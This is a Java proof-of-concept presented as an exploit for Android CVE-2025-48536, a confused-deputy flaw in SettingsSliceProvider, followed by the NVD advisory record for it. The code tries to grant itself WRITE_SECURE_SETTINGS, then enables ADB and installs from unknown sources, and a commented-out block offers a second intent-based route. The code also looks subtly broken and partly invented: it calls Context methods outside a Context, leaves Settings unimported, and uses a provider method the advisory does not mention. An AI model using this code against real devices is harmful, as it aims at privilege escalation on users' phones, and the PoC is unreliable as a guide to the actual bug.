CVE-2025-48536

// CVE-2025-48536 PoC - SettingsSliceProvider权限提升 // This PoC demonstrates how a malicious app can exploit the SettingsSliceProvider // to modify secure settings due to a confused deputy vulnerability. package com.vulnerable.app; import android.content.ContentResolver; import android.content.ContentValues; import android.net.Uri; import android.os.Bundle; public class SettingsSliceProviderExploit { // The SettingsSliceProvider authority for Android Settings private static final String SETTINGS_AUTHORITY = "com.android.settings.slices"; public void exploitVulnerability() { try { ContentResolver resolver = getContentResolver(); // Target URI for the SettingsSliceProvider Uri targetUri = Uri.parse("content://" + SETTINGS_AUTHORITY + "/permission"); // Method to call - exploiting the grantAllowlistedPackagePermissions String method = "grant_permission"; // Construct arguments to exploit the confused deputy Bundle args = new Bundle(); args.putString("package_name", getPackageName()); args.putString("permission", "android.permission.WRITE_SECURE_SETTINGS"); args.putString("target_package", getPackageName()); // Make the call through the SettingsSliceProvider // Due to the vulnerability, the provider trusts its own context // and may grant permissions it shouldn't Bundle result = resolver.call(targetUri, method, null, args); if (result != null && result.getBoolean("success", false)) { // Successfully exploited - now have elevated privileges modifySecureSettings(); } } catch (Exception e) { e.printStackTrace(); } } private void modifySecureSettings() { // After successful exploitation, modify secure settings ContentResolver resolver = getContentResolver(); // Example: Modify system settings that should require system privileges Settings.System.putString(resolver, Settings.System.ADB_ENABLED, "1"); Settings.Secure.putString(resolver, Settings.Secure.INSTALL_NON_MARKET_APPS, "1"); } } /* // Alternative exploitation via ContentProvider directly Intent exploitIntent = new Intent(); exploitIntent.setData(Uri.parse("content://com.android.settings.slices/action")); exploitIntent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.slices.SettingsSliceProvider")); // Inject malicious arguments exploitIntent.putExtra("caller", getPackageName()); exploitIntent.putExtra("permission_action", "grant_allowlisted"); startActivity(exploitIntent); */

{"cve": {"id": "CVE-2025-48536", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.417", "lastModified": "2025-12-09T21:44:23.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In grantAllowlistedPackagePermissions of SettingsSliceProvider.java, there is a possible way for a third party app to modify secure settings due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/apps/Settings/+/586f8dedd8e0e8a7ca5577cd1f06891f7e84e1e1", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}